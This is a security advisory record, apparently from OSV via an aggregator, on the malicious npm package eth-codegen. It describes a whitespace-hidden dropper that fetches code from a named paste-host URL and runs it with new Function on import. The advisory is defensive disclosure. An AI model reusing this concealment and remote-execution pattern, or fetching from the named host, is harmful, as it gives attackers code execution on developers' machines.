Malicious code in eth-codegen (npm)
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
osv · MAL-2026-12371
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c111948c855e4133fbd037c268523a2118038ca498e9bdba1c743d4ee77f24bc) The package advertises itself as an Ethereum codegen utility but its actual contents are an unrelated mongoose leanhooks plugin plus a hidden dropper. index.js appends an async runHandler() concealed after ~1KB of whitespace padding following the `module.exports = leanhooksPlugin;` line. On require, runHandler() performs `axios.get('https://www.jsonkeeper.com/b/VYFER')`, then passes the response's `cookie` field to `new Function('require',...)` and invokes it with the installer's `require`. jsonkeeper.com is an anonymous, mutable paste host controlled by whoever created the paste, giving that party arbitrary code execution in the installer's Node process every time the package is imported. The whitespace concealment plus cover-story package name/description are deliberate evasion.
- Source published
- 5 Aug 2026 12:58:43 UTC
- Source modified
- 5 Aug 2026 13:35:22 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.